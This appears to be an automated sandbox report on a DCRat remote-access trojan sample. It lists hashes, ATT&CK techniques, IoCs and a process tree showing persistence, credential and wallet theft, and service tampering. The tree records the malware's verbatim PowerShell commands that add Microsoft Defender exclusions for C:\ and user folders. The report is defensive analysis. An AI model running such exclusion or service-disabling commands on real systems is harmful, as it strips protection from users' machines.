dcrat | 442e9da5b83a8273d33a95a6cdbe4d6fc9c38fd95f87a007025d959891e7346a

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
22-03-2023 01:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe
Size

10.0MB
MD5

718c1a4f0cdacf94d4d6ad97e06a459f
SHA1

f7ea9a4f39e415c15ef563ecd4f381013e52d3a7
SHA256

7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033
SHA512

8a3d55db0a4eae644922895e140269f22f8214af875bf3544255bcc1be6b1de9a1274b1dd41cc4ac5826a9ac5e1d8d216994891dc124c01ba722db214652f80e
SSDEEP

196608:2JJ8G/X6v9189c+HzrMyU59NSOWQqA00aWOj/AoDvVq:2JJTCv8cEnMrrNSOhLPOj/Pv

Score

10^/10

dcrat evasion infostealer rat spyware stealer

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3168	4848	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1380	4848	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1032	4848	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1060	4848	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3892	4848	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2740	4848	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	672	4848	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3480	4848	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	456	4848	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1368	4848	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1548	4848	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4140	4848	schtasks.exe

DCRat payload 8 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
behavioral2/memory/2308-134-0x0000000000400000-0x00000000015D9000-memory.dmp	dcrat
C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe	dcrat
C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe	dcrat
C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe	dcrat
behavioral2/memory/1920-158-0x0000000000490000-0x000000000063E000-memory.dmp	dcrat
behavioral2/memory/2308-166-0x0000000000400000-0x00000000015D9000-memory.dmp	dcrat
C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\explorer.exe	dcrat
C:\Users\All Users\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\explorer.exe	dcrat

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exebl_fontreviewmonitordllrefsvc.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	bl_fontreviewmonitordllrefsvc.exe

Executes dropped EXE 5 IoCs

Processes:

bl_fontreviewmonitordllrefsvc.execonhost_8.exeMASTER 8BP.exeexplorer.exeUpdater.exe

pid process

1920 bl_fontreviewmonitordllrefsvc.exe
2632 conhost_8.exe
212 MASTER 8BP.exe
1292 explorer.exe
288 Updater.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1920	bl_fontreviewmonitordllrefsvc.exe
2632	conhost_8.exe
212	MASTER 8BP.exe
1292	explorer.exe
288	Updater.exe

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe

pid	process
2308	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe
2308	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

Updater.exe

description pid process target process

PID 288 set thread context of 4504 288 Updater.exe conhost.exe

description	pid	process	target process
PID 288 set thread context of 4504	288	Updater.exe	conhost.exe

Drops file in Program Files directory 3 IoCs

Processes:

conhost_8.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe	conhost_8.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

456 sc.exe
3016 sc.exe
1032 sc.exe
3432 sc.exe
3500 sc.exe
4348 sc.exe
856 sc.exe
2416 sc.exe
2220 sc.exe
2192 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
456	sc.exe
3016	sc.exe
1032	sc.exe
3432	sc.exe
3500	sc.exe
4348	sc.exe
856	sc.exe
2416	sc.exe
2220	sc.exe
2192	sc.exe

Creates scheduled task(s) 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
456	schtasks.exe
3168	schtasks.exe
672	schtasks.exe
3480	schtasks.exe
3892	schtasks.exe
2740	schtasks.exe
1368	schtasks.exe
1548	schtasks.exe
4140	schtasks.exe
1380	schtasks.exe
1032	schtasks.exe
1060	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe

Modifies registry class 1 IoCs

Processes:

bl_fontreviewmonitordllrefsvc.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	bl_fontreviewmonitordllrefsvc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

MASTER 8BP.exebl_fontreviewmonitordllrefsvc.exepowershell.exeexplorer.exepowershell.exepowershell.exepowershell.exe

pid	process
212	MASTER 8BP.exe
212	MASTER 8BP.exe
1920	bl_fontreviewmonitordllrefsvc.exe
1920	bl_fontreviewmonitordllrefsvc.exe
1920	bl_fontreviewmonitordllrefsvc.exe
1920	bl_fontreviewmonitordllrefsvc.exe
1920	bl_fontreviewmonitordllrefsvc.exe
1920	bl_fontreviewmonitordllrefsvc.exe
1920	bl_fontreviewmonitordllrefsvc.exe
1920	bl_fontreviewmonitordllrefsvc.exe
1920	bl_fontreviewmonitordllrefsvc.exe
1920	bl_fontreviewmonitordllrefsvc.exe
1920	bl_fontreviewmonitordllrefsvc.exe
1920	bl_fontreviewmonitordllrefsvc.exe
2860	powershell.exe
2860	powershell.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1860	powershell.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1860	powershell.exe
1860	powershell.exe
1292	explorer.exe
1292	explorer.exe
3508	powershell.exe
3508	powershell.exe
3508	powershell.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1776	powershell.exe
1776	powershell.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe
1292	explorer.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

explorer.exe

pid process

1292 explorer.exe

pid	process
1292	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

bl_fontreviewmonitordllrefsvc.exepowershell.exeexplorer.exepowershell.exevssvc.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	1920	bl_fontreviewmonitordllrefsvc.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	1292	explorer.exe
Token: SeDebugPrivilege	1860	powershell.exe
Token: SeBackupPrivilege	216	vssvc.exe
Token: SeRestorePrivilege	216	vssvc.exe
Token: SeAuditPrivilege	216	vssvc.exe
Token: SeShutdownPrivilege	1624	powercfg.exe
Token: SeCreatePagefilePrivilege	1624	powercfg.exe
Token: SeDebugPrivilege	3508	powershell.exe
Token: SeShutdownPrivilege	1320	powercfg.exe
Token: SeCreatePagefilePrivilege	1320	powercfg.exe
Token: SeShutdownPrivilege	4428	powercfg.exe
Token: SeCreatePagefilePrivilege	4428	powercfg.exe
Token: SeShutdownPrivilege	2760	powercfg.exe
Token: SeCreatePagefilePrivilege	2760	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3508	powershell.exe
Token: SeSecurityPrivilege	3508	powershell.exe
Token: SeTakeOwnershipPrivilege	3508	powershell.exe
Token: SeLoadDriverPrivilege	3508	powershell.exe
Token: SeSystemProfilePrivilege	3508	powershell.exe
Token: SeSystemtimePrivilege	3508	powershell.exe
Token: SeProfSingleProcessPrivilege	3508	powershell.exe
Token: SeIncBasePriorityPrivilege	3508	powershell.exe
Token: SeCreatePagefilePrivilege	3508	powershell.exe
Token: SeBackupPrivilege	3508	powershell.exe
Token: SeRestorePrivilege	3508	powershell.exe
Token: SeShutdownPrivilege	3508	powershell.exe
Token: SeDebugPrivilege	3508	powershell.exe
Token: SeSystemEnvironmentPrivilege	3508	powershell.exe
Token: SeRemoteShutdownPrivilege	3508	powershell.exe
Token: SeUndockPrivilege	3508	powershell.exe
Token: SeManageVolumePrivilege	3508	powershell.exe
Token: 33	3508	powershell.exe
Token: 34	3508	powershell.exe
Token: 35	3508	powershell.exe
Token: 36	3508	powershell.exe
Token: SeIncreaseQuotaPrivilege	3508	powershell.exe
Token: SeSecurityPrivilege	3508	powershell.exe
Token: SeTakeOwnershipPrivilege	3508	powershell.exe
Token: SeLoadDriverPrivilege	3508	powershell.exe
Token: SeSystemProfilePrivilege	3508	powershell.exe
Token: SeSystemtimePrivilege	3508	powershell.exe
Token: SeProfSingleProcessPrivilege	3508	powershell.exe
Token: SeIncBasePriorityPrivilege	3508	powershell.exe
Token: SeCreatePagefilePrivilege	3508	powershell.exe
Token: SeBackupPrivilege	3508	powershell.exe
Token: SeRestorePrivilege	3508	powershell.exe
Token: SeShutdownPrivilege	3508	powershell.exe
Token: SeDebugPrivilege	3508	powershell.exe
Token: SeSystemEnvironmentPrivilege	3508	powershell.exe
Token: SeRemoteShutdownPrivilege	3508	powershell.exe
Token: SeUndockPrivilege	3508	powershell.exe
Token: SeManageVolumePrivilege	3508	powershell.exe
Token: 33	3508	powershell.exe
Token: 34	3508	powershell.exe
Token: 35	3508	powershell.exe
Token: 36	3508	powershell.exe
Token: SeIncreaseQuotaPrivilege	3508	powershell.exe
Token: SeSecurityPrivilege	3508	powershell.exe
Token: SeTakeOwnershipPrivilege	3508	powershell.exe
Token: SeLoadDriverPrivilege	3508	powershell.exe
Token: SeSystemProfilePrivilege	3508	powershell.exe
Token: SeSystemtimePrivilege	3508	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe

pid process

2308 7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exebl_fontreviewmonitordllrefsvc.execmd.execonhost_8.execmd.execmd.exepowershell.exeUpdater.execmd.exe

description	pid	process	target process
PID 2308 wrote to memory of 1920	2308	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe	bl_fontreviewmonitordllrefsvc.exe
PID 2308 wrote to memory of 1920	2308	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe	bl_fontreviewmonitordllrefsvc.exe
PID 2308 wrote to memory of 2632	2308	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe	conhost_8.exe
PID 2308 wrote to memory of 2632	2308	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe	conhost_8.exe
PID 2308 wrote to memory of 212	2308	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe	MASTER 8BP.exe
PID 2308 wrote to memory of 212	2308	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe	MASTER 8BP.exe
PID 2308 wrote to memory of 212	2308	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe	MASTER 8BP.exe
PID 1920 wrote to memory of 2860	1920	bl_fontreviewmonitordllrefsvc.exe	powershell.exe
PID 1920 wrote to memory of 2860	1920	bl_fontreviewmonitordllrefsvc.exe	powershell.exe
PID 1920 wrote to memory of 4556	1920	bl_fontreviewmonitordllrefsvc.exe	cmd.exe
PID 1920 wrote to memory of 4556	1920	bl_fontreviewmonitordllrefsvc.exe	cmd.exe
PID 4556 wrote to memory of 3368	4556	cmd.exe	w32tm.exe
PID 4556 wrote to memory of 3368	4556	cmd.exe	w32tm.exe
PID 4556 wrote to memory of 1292	4556	cmd.exe	explorer.exe
PID 4556 wrote to memory of 1292	4556	cmd.exe	explorer.exe
PID 2632 wrote to memory of 1860	2632	conhost_8.exe	powershell.exe
PID 2632 wrote to memory of 1860	2632	conhost_8.exe	powershell.exe
PID 2632 wrote to memory of 4240	2632	conhost_8.exe	cmd.exe
PID 2632 wrote to memory of 4240	2632	conhost_8.exe	cmd.exe
PID 2632 wrote to memory of 1532	2632	conhost_8.exe	cmd.exe
PID 2632 wrote to memory of 1532	2632	conhost_8.exe	cmd.exe
PID 2632 wrote to memory of 3508	2632	conhost_8.exe	powershell.exe
PID 2632 wrote to memory of 3508	2632	conhost_8.exe	powershell.exe
PID 4240 wrote to memory of 456	4240	cmd.exe	sc.exe
PID 4240 wrote to memory of 456	4240	cmd.exe	sc.exe
PID 1532 wrote to memory of 1624	1532	cmd.exe	powercfg.exe
PID 1532 wrote to memory of 1624	1532	cmd.exe	powercfg.exe
PID 4240 wrote to memory of 3500	4240	cmd.exe	sc.exe
PID 4240 wrote to memory of 3500	4240	cmd.exe	sc.exe
PID 1532 wrote to memory of 1320	1532	cmd.exe	powercfg.exe
PID 1532 wrote to memory of 1320	1532	cmd.exe	powercfg.exe
PID 4240 wrote to memory of 4348	4240	cmd.exe	sc.exe
PID 4240 wrote to memory of 4348	4240	cmd.exe	sc.exe
PID 1532 wrote to memory of 4428	1532	cmd.exe	powercfg.exe
PID 1532 wrote to memory of 4428	1532	cmd.exe	powercfg.exe
PID 4240 wrote to memory of 856	4240	cmd.exe	sc.exe
PID 4240 wrote to memory of 856	4240	cmd.exe	sc.exe
PID 1532 wrote to memory of 2760	1532	cmd.exe	powercfg.exe
PID 1532 wrote to memory of 2760	1532	cmd.exe	powercfg.exe
PID 4240 wrote to memory of 2416	4240	cmd.exe	sc.exe
PID 4240 wrote to memory of 2416	4240	cmd.exe	sc.exe
PID 4240 wrote to memory of 1972	4240	cmd.exe	reg.exe
PID 4240 wrote to memory of 1972	4240	cmd.exe	reg.exe
PID 4240 wrote to memory of 1344	4240	cmd.exe	reg.exe
PID 4240 wrote to memory of 1344	4240	cmd.exe	reg.exe
PID 4240 wrote to memory of 2152	4240	cmd.exe	reg.exe
PID 4240 wrote to memory of 2152	4240	cmd.exe	reg.exe
PID 4240 wrote to memory of 2672	4240	cmd.exe	reg.exe
PID 4240 wrote to memory of 2672	4240	cmd.exe	reg.exe
PID 4240 wrote to memory of 1140	4240	cmd.exe	reg.exe
PID 4240 wrote to memory of 1140	4240	cmd.exe	reg.exe
PID 2632 wrote to memory of 1776	2632	conhost_8.exe	powershell.exe
PID 2632 wrote to memory of 1776	2632	conhost_8.exe	powershell.exe
PID 1776 wrote to memory of 4320	1776	powershell.exe	schtasks.exe
PID 1776 wrote to memory of 4320	1776	powershell.exe	schtasks.exe
PID 288 wrote to memory of 4484	288	Updater.exe	powershell.exe
PID 288 wrote to memory of 4484	288	Updater.exe	powershell.exe
PID 288 wrote to memory of 1504	288	Updater.exe	cmd.exe
PID 288 wrote to memory of 1504	288	Updater.exe	cmd.exe
PID 288 wrote to memory of 3480	288	Updater.exe	cmd.exe
PID 288 wrote to memory of 3480	288	Updater.exe	cmd.exe
PID 288 wrote to memory of 4780	288	Updater.exe	powershell.exe
PID 288 wrote to memory of 4780	288	Updater.exe	powershell.exe
PID 1504 wrote to memory of 2220	1504	cmd.exe	sc.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe
"C:\Users\Admin\AppData\Local\Temp\7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe"
1⤵
- Checks computer location settings
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2308

C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe
"C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2860

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\XCPxq7rxxR.bat"
3⤵
- Suspicious use of WriteProcessMemory
PID:4556

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
4⤵
PID:3368

C:\Users\All Users\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\explorer.exe
"C:\Users\All Users\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\explorer.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1292

C:\Users\Admin\AppData\Roaming\conhost_8.exe
"C:\Users\Admin\AppData\Roaming\conhost_8.exe"
2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
3⤵
- Suspicious behavior: EnumeratesProcesses
